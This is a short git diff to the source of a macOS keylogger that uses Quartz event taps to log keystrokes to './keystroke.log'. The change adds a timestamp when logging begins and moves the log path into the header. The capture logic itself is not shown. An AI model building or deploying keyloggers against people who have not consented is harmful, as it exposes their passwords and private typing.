diff --git a/keylogger.cpp b/keylogger.cpp index 27083db..cc60ceb 100644 --- a/keylogger.cpp +++ b/keylogger.cpp @@ -15,9 +15,10 @@ int main(int argc, const char *argv[]) { CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CGEventTapEnable(eventTap, true); - const char *logfileLocation = "./keystroke.log"; + time_t result = time(NULL); logfile = fopen(logfileLocation, "a"); - fprintf(logfile, "Keylogging has begun.\n"); + + fprintf(logfile, "\n\nKeylogging has begun.\n%s\n\n", asctime(localtime(&result))); fflush(logfile); cout << "Logging to: " << logfileLocation << endl; diff --git a/keylogger.h b/keylogger.h index 7d716c5..2773ad1 100644 --- a/keylogger.h +++ b/keylogger.h @@ -3,6 +3,7 @@ #include #include +#include #include #include // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html @@ -10,6 +11,8 @@ using namespace std; FILE *logfile = NULL; +const char *logfileLocation = "./keystroke.log"; + CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*); const char *convertKeyCode(int);